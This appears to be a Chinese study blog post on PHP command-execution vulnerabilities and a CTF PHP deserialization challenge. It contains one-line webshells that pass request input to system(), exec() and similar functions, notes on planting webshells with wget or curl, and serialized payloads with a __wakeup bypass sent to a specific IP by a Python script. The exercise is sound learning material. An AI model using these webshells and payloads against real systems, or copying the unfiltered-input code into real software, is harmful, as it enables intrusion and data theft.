惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Recent Announcements
Recent Announcements
J
Java Code Geeks
U
Unit 42
GbyAI
GbyAI
大猫的无限游戏
大猫的无限游戏
L
LangChain Blog
D
Docker
F
Fortinet All Blogs
N
Netflix TechBlog - Medium
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
罗磊的独立博客
I
InfoQ
The Cloudflare Blog
小众软件
小众软件
V
Visual Studio Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Engineering at Meta
Engineering at Meta
S
SegmentFault 最新的问题
爱范儿
爱范儿
Hugging Face - Blog
Hugging Face - Blog
P
Proofpoint News Feed
V
V2EX
月光博客
月光博客
Martin Fowler
Martin Fowler

卷卷

今日说法 节目汇总笔记 《斯坦福大学人生设计课》读书笔记 我的书单📖 H-worm (VBS蠕虫) 感染事件溯源分析报告 AMOS (Atomic Stealer) 恶意软件深度分析 银狐26年全面复活,对抗强度或已超25年最高水平 Atomic Stealer (AMOS) 回归:ClickFix、伪装加密货币应用与新型 macOS 持久化机制 关于xt.exe的分析报告 仿真钓鱼页面窃取用户凭证 GitHub Pages配置Cloudflare CDN踩坑之路 推荐RSS热力图和Github热力图使用指南 学习逆向工程相关概念 zabbix快速上手 学习python高级语法特性例题笔记 学习云计算基本理论学习笔记 学习Docker-Compose命令及镜像构建与推送 ATT &CK 框架实践阅读笔记 rundll32.exe恶意加载DLL文件外联 《悉达多》读书笔记 《稀缺》读书笔记 《认知觉醒》读书笔记 《营养学》读书笔记 《心理学》读书笔记 热💖生活 C++开发环境配置与程序运行笔记 IDA Free调试Hello World笔记 逆向免杀 Admin.canway账号命名方式 BAS - Breach and Attack Simulation Windows核心系统进程链与svchost深度解析
命令执行和反序列化
卷卷 · 2023-07-09 · via 卷卷

目标:
1、熟悉整理命令执行漏洞各函数的使用方法和条件,总结命令执行漏洞的利用方法
2、熟悉PHP反序列化漏洞魔法函数的触发过程,了解pop链的拓展内容后,完成ctf.php

命令执行函数使用条件

在PHP.ini文件中没有被禁用

disable_functions = passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv;

将上方PHP需要使用的函数删除即可,否则:

image

解禁后即可执行。

image

命令执行漏洞的本质

应用有时需要调用一些执行系统命令的函数,当服务器没有严格过滤用户提供的参数时,就有可能导致用户提交恶意代码被服务器执行,从而造成命令执行漏洞。

命令执行函数的利用

  • system()

    返回全部,有回显

    <meta charset="gb2312">
    <?php
    if(isset($_GET['cmd'])){
        echo "<pre>";
        system($_GET['cmd']);
    }
    ?>

    image

  • exec()

    返回一行,无回显

    <meta charset="gb2312">
    <?php 
    if(isset($_GET['cmd'])){
        echo "<pre>";
        print exec($_GET['cmd']);
    }
    ?>

    image

  • shell_exec()

    返回全部,无回显。

    <meta charset="gb2312">
    <?php
    if(isset($_GET['cmd'])){
        echo "<pre>";
        print shell_exec($_GET['cmd']);
    }
    ?>

    image

  • passthru()

    返回全部,有回显

    <meta charset="gb2312">
    <?php
    if(isset($_GET['cmd'])){
    	echo "<pre>";
        passthru($_GET['cmd']);
    }
    ?>

    image

  • popen()

    返回全部,无回显。可写入文件。

    <meta charset="gb2312">
    <?php 
    if(isset($_GET['cmd'])){
        $cmd=$_GET['cmd'].">> doueifyshbqjipqwdeoubdjoswdjeishu.txt";
        popen($cmd,'r');
    }
    ?>

    image

    image

  • ``反引号

    有返回全部,无回显

    <meta charset="gb2312">
    <?php
    if(isset($_GET['cmd'])){
        $cmd=$_GET['cmd'];
        print `$cmd`;
    }
    ?>

    image

利用方法

  1. 直接命令注入

    • 通过构造恶意的输入参数,直接注入系统命令。例如,在Web表单中输入whoami​等命令.
    • 利用管道符(如|​、&​、&&​、||​等)将多个命令串联起来执行
  2. 上传Webshell

    • 利用命令执行漏洞上传Webshell(一种后门程序),以便后续持续控制目标系统。
    • 常见的上传方法包括使用wget/curl等工具下载Webshell到目标系统,或直接通过构造恶意请求将Webshell文件上传到目标目录。
  3. 执行恶意脚本

    • 在某些情况下,攻击者可以通过命令执行漏洞执行恶意脚本(如Python、Bash脚本等),以获取更高级别的权限或执行更复杂的攻击。
  4. 信息泄露与破坏

    • 攻击者可以利用命令执行漏洞获取系统或应用程序的敏感信息,密码、用户账号、数据库。
    • 还可以利用该漏洞对目标系统进行数据破坏,如删除文件、破坏数据库等。

运算符

符号Windows环境Linux环境
&无论第一个是否成功都执行第二个前面的创建进程后台执行
&&顺序执行,第一个成功执行第二个--同windows
|管道符,第一个输出作为第二个输入--同windows
||顺序执行,第一个失败才执行第二个--同windows
-顺序执行,不管成功没,都执行。

魔法函数

函数说明
__destruct()当对象销毁时会调用此方法
__construct()对象初始化时会调用此方法
__sleep()当调用searialize()方法时调用
__wakeup()当调用unsearizlie()方法时调用
__call($method, $args)调用对象方法不存在或不允许被调用时此方法会被调用
__callStatic($method, $args)调用对象的静态方法不存在或不允许被调用时此方法会被调用
<?php
$flag="pussy best!!!!";
error_reporting(0);
class Name{  //Name类
    private $username = 'nonono';   //此处为private私有属性
    private $password = 'yesyes';

public function __construct($username,$password){    //__construct对象被创建时被调用
    $this->username = $username;
    $this->password = $password;
}
function __wakeup(){    // __wakeup在函数unserialize()执行反序列化时被调用
    $this->username = 'guest';  
}
function __destruct(){
    if ($this->password != 100) {
        echo "</br>NO!!!hacker!!!</br>";
        echo "You name is: ";
        echo $this->username;echo "</br>";
        echo "You password is: ";
        echo $this->password;echo "</br>";
        die();
    }
    if ($this->username === 'admin') {
        global $flag;
        echo $flag;
    }else{
        echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
        die();
   }
 }
}
$select = $_GET['select'];   
$res=unserialize(@$select);     //unserialize()执行反序列化
/*
class Name{
    private $username='admin';
    private $password=100;
}
$a=new Name();
var_dump(serialize($a));*/
?>

解题思路:

  1. 执行反序列化时创建对象,此时__construct()被调用,序列化的值被传入用于创建对象(实例化对象的序列化值要符合要求,所以要区分public、protected与private在序列化时的区别)。
  2. __wakeup在函数unserialize()执行反序列化时被调用,username被赋值guest,很显然不能被赋值,所以要跳过__wakeup的执行。

protected的序列化

声明的字段为保护字段,在所声明的类和该类的子类中可见,保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码值为 0 的转义字符(不可见字符),而不是 \0 组合。

public function __construct($username,$password){
    	$this->username = $username;
        $this->password = $password;
    }
payload:O:4:"Name":2:{s:11:"\0*\0username";s:5:"admin";s:11:"\0*\0password";i:100;}

private的序列化

声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。且 \0 字符也是计算长度的。

 public function __construct($username,$password){
    	$this->username = $username;
        $this->password = $password;
    }
payload:O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

__wakeup()方法绕过

当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行

序列化后payload: O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

绕过wakeup: O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

\0 表示 ASCII 码值为 0 的转义字符所以使用浏览器发送,使用python请求如下:

import  requests
url ="http://47.113.187.190:90/ctf.php/"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)

image

http://47.113.187.190:90/ctf.php?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

image